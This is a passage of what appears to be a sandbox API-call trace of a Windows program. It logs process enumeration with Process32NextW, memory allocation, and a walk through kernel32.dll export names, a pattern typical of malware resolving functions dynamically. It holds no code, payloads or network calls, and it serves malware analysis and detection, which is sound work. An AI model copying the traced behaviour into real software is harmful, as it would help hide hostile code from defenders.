lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0035.976] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0035.976] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0035.976] lstrcpyA (in: lpString1=0x34f0a8, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0035.977] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.977] GetLastError () returned 0x0 [0035.978] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.978] GetLastError () returned 0x0 [0035.979] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.979] GetLastError () returned 0x0 [0035.980] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.980] GetLastError () returned 0x0 [0035.981] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0035.981] GetLastError () returned 0x0 [0035.982] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0035.982] GetLastError () returned 0x0 [0035.983] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0035.983] GetLastError () returned 0x0 [0035.984] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0035.984] GetLastError () returned 0x0 [0035.985] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.985] GetLastError () returned 0x0 [0035.986] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.986] GetLastError () returned 0x0 [0035.987] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.987] GetLastError () returned 0x0 [0035.988] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.988] GetLastError () returned 0x0 [0035.989] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.989] GetLastError () returned 0x0 [0035.990] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0035.990] GetLastError () returned 0x0 [0035.991] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.991] GetLastError () returned 0x0 [0035.992] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.992] GetLastError () returned 0x0 [0035.993] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0035.993] GetLastError () returned 0x0 [0035.994] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0035.994] GetLastError () returned 0x0 [0035.995] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0035.995] GetLastError () returned 0x0 [0035.996] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.996] GetLastError () returned 0x0 [0035.997] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0035.997] GetLastError () returned 0x0 [0035.998] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0035.998] GetLastError () returned 0x0 [0035.999] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0035.999] GetLastError () returned 0x0 [0036.000] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="filesnicholas.exe")) returned 1 [0036.001] GetLastError () returned 0x0 [0036.001] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="melbourne_amendment_hanging.exe")) returned 1 [0036.002] GetLastError () returned 0x0 [0036.003] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="centeraruba.exe")) returned 1 [0036.003] GetLastError () returned 0x0 [0036.004] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dozen.exe")) returned 1 [0036.004] GetLastError () returned 0x0 [0036.005] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thoroughlyncaa.exe")) returned 1 [0036.005] GetLastError () returned 0x0 [0036.006] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="compete.exe")) returned 1 [0036.006] GetLastError () returned 0x0 [0036.007] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alarm-recovered-stops.exe")) returned 1 [0036.007] GetLastError () returned 0x0 [0036.008] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spencertestimony.exe")) returned 1 [0036.008] GetLastError () returned 0x0 [0036.009] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="henderson.exe")) returned 1 [0036.009] GetLastError () returned 0x0 [0036.010] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="activation_scary.exe")) returned 1 [0036.010] GetLastError () returned 0x0 [0036.011] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fees_hh_wanted.exe")) returned 1 [0036.011] GetLastError () returned 0x0 [0036.012] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="andreas-classes-manor.exe")) returned 1 [0036.012] GetLastError () returned 0x0 [0036.013] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="join-compiled-jay.exe")) returned 1 [0036.013] GetLastError () returned 0x0 [0036.014] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="enforcement.exe")) returned 1 [0036.014] GetLastError () returned 0x0 [0036.015] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="parties_series_denied.exe")) returned 1 [0036.015] GetLastError () returned 0x0 [0036.016] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="totally.exe")) returned 1 [0036.017] GetLastError () returned 0x0 [0036.017] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fathers successful ago.exe")) returned 1 [0036.018] GetLastError () returned 0x0 [0036.018] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers closing.exe")) returned 1 [0036.019] GetLastError () returned 0x0 [0036.019] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="philips_inside_triumph.exe")) returned 1 [0036.020] GetLastError () returned 0x0 [0036.020] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="draw knight.exe")) returned 1 [0036.020] GetLastError () returned 0x0 [0036.021] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mae_drives.exe")) returned 1 [0036.021] GetLastError () returned 0x0 [0036.022] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="areas aus awful.exe")) returned 1 [0036.022] GetLastError () returned 0x0 [0036.023] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretary-increases.exe")) returned 1 [0036.023] GetLastError () returned 0x0 [0036.024] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.026] GetLastError () returned 0x0 [0036.026] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.027] GetLastError () returned 0x0 [0036.027] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.028] GetLastError () returned 0x0 [0036.028] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="test.exe")) returned 1 [0036.029] GetLastError () returned 0x0 [0036.029] Process32NextW (in: hSnapshot=0x44, lppe=0x34fd30 | out: lppe=0x34fd30*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="test.exe")) returned 0 [0036.030] VirtualAlloc (lpAddress=0x0, dwSize=0x1206, flAllocationType=0x3000, flProtect=0x4) returned 0x60000 [0036.030] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x70000 [0036.030] VirtualAlloc (lpAddress=0x0, dwSize=0x1f4, flAllocationType=0x3000, flProtect=0x4) returned 0x80000 [0036.031] lstrlenA (lpString="kernel32.dll") returned 12 [0036.031] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0036.031] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0036.031] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0036.031] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0036.031] lstrlenA (lpString="ADDATOMA") returned 8 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0036.031] lstrlenA (lpString="ADDATOMW") returned 8 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0036.031] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0036.031] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0036.031] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0036.031] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0036.031] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0036.031] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0036.031] lstrcpyA (in: lpString1=0x34f228, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0036.032] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0036.032] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0036.032] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0036.032] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0036.032] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0036.032] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0036.032] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0036.032] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0036.032] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0036.032] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0036.032] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0036.032] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0036.032] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0036.032] lstrlenA (lpString="BACKUPREAD") returned 10 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0036.032] lstrlenA (lpString="BACKUPSEEK") returned 10 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0036.032] lstrlenA (lpString="BACKUPWRITE") returned 11 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0036.032] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0036.032] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0036.032] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0036.032] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0036.032] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0036.032] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0036.032] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0036.033] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0036.033] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0036.033] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0036.033] lstrcpyA (in: lpString1=0x34f228, lpString2="BaseGenerateAppCompatData" | out: 